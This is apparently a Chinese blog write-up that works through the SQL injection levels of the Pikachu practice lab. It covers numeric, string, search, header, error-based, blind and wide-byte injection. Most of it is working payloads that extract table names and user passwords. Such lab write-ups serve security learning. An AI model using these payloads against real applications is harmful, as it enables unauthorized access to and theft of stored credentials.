Pikachu靶場SQL注入刷題記錄

數字型注入

0x01

burp抓包,發送至repeater
後面加and 1=1,and 1=2 可判斷存在注入
sql

0x02

經過order by判斷字段數,order by 2 和order by 3 返回結果不一樣,可得字段數爲2
數據庫

0x03

查看錶名:
union select 1,group_concat(table_name) from information_schema.tables where table_schema = database()
函數

0x04

查詢users表中的數據:
union select 1,group_concat(column_name) from information_schema.columns where table_name = 'users'
測試

0x05

查詢數據:
union select 1,username from users
union select 1,password from users

編碼

字符型注入

0x01

加單引號報錯,'--+ 返回正常,可判斷存在字符型注入
orm

0x02

經過上題可知有兩個字段
查詢表名:
' union select 1,group_concat(table_name) from information_schema.tables where table_schema = database()--+
xml

0x03

查詢users表中的數據:
' union select 1,group_concat(column_name) from information_schema.columns where table_name = 'users'--+
blog

0x04

查詢數據:
' union select 1,username from users--+
' union select 1,password from users--+

md5

搜索型注入

0x01

單引號報錯,判斷字段
' order by 3#時正常,' order by 4#時不正常
it

0x02

已經知道含有users表,直接查列名
' union select 1,2,group_concat(column_name) from information_schema.columns where table_name = 'users'#

0x03

查password數據
' union select 1,2,password from users#

XX型注入

0x01

輸入單引號,獲得報錯信息

能夠看到有個)符號,那麼sql語句中前面必定有個(符號,因此要將前面閉合,後面註釋掉

0x02

輸入')#,抓包repeater放包

0x03

判斷字段
%27)+order+by+2%23,回顯正常

%27)+order+by+3%23,回顯不正常,字段數爲2

0x04

已知users表,查列名
%27)+union+select+1,group_concat(column_name)+from+information_schema.columns+where+table_name='users'%23

0x05

查密碼
%27)+union+select+1,password+from+users%23

insert/update注入

0x01

點擊註冊,用戶名密碼輸入以下

提交返回

根據報錯可推斷前面sql語句大概是這樣value('xxx',1,2,3,4,5)

0x02

使用updatexml()進行報錯注入
' or updatexml(1,concat(0x7e,(SELECT password from users limit 0,1),0x7e),0) or '

Updatexml只能注出32位字符,缺乏一位字符,因此改用其餘函數
經測試extractvalue()函數也是同樣,再換其餘函數

0x03

使用EXP函數時成功注出md5
' or EXP(~(SELECT * from(select @@version)a)) or '
' or EXP(~(SELECT * from(select group_concat(table_name) from information_schema.tables where table_schema = database())a)) or '

' or EXP(~(SELECT * from(select group_concat(column_name) from information_schema.columns where table_name = 'users')a)) or '

' or EXP(~(SELECT * from(select password from users limit 0,1)a)) or '

Delete注入

0x01

單引號報錯

0x02

這種id的值通常都是數字型注入
+or+EXP(~(SELECT+*+from(select+@@version)a))

最終payload:+or+EXP(~(SELECT+*+from(select+password+from+users+limit+0,1)a))

HTTP Header注入

0x01

提示給了帳號密碼

登陸進去

0x02

刷新,抓包

能夠看到Cookie中含有ant[uname]=admin,懷疑此處可能存在與數據庫交互,所以加單引號進行驗證

發現報錯,所以,使用報錯注入語句

0x03

'+or+EXP(~(SELECT+*+from(select+@@version)a))+or+'

' or EXP(~(SELECT * from(select group_concat(table_name) from information_schema.tables where table_schema = database())a)) or '

' or EXP(~(SELECT * from(select group_concat(column_name) from information_schema.columns where table_name = 'users')a)) or '

' or EXP(~(SELECT * from(select password from users limit 0,1)a)) or '

盲注(boolian)

0x01

首先要知道一個用戶名(真實環境可本身註冊一個)
lili' and 1=1#

lili' and 1=2#

可判斷存在注入

0x02

paylaod:lili' and substr(database(),1,1)='字母'#
對數字進行爆破

第一個字母爲p
再對第二位進行爆破
lili' and substr(database(),2,1)='字母'#

第二個字母爲i
按此方式一位一位進行爆破,可得數據庫名爲pikachu

盲注(time)

0x01

首先要知道一個用戶名(真實環境可本身註冊一個)
lili' and sleep(10)#

10s左右才響應,可判斷存在時間盲注(或者F12看響應時間)

0x02

爆破數據庫名
lili' and if(substr(database(),1,1)='字母',sleep(5),1)#
對字母進行爆破,爆破第一個字母
爆破後將Columns--Response received選中,可看到響應時間

第一個字母爲p
爆破第二個字母
lili' and if(substr(database(),2,1)='字母',sleep(5),1)#

獲得第二個爲i
以此類推,得出數據庫名爲pikachu

寬字節注入

0x01

抓包在burp中操做
1%df%27+or+1=1#

0x02

判斷字段數
1%df%27+union+select+1,2#

1%df%27+union+select+1,2,3#

字段數爲2

0x03

查表名
1%df%27+union+select+1,group_concat(table_name)+from+information_schema.tables+where+table_schema=database()#

0x04

查列名
1%df%27+union+select+1,group_concat(column_name)+from+information_schema.columns+where+table_name=0x7573657273#
(0x7573657273爲users的16進制編碼)

0x05

查數據
1%df%27+union+select+1,password+from+users#

更多技術文章請關注Timeline Sec公衆號

相關文章
相關標籤/搜索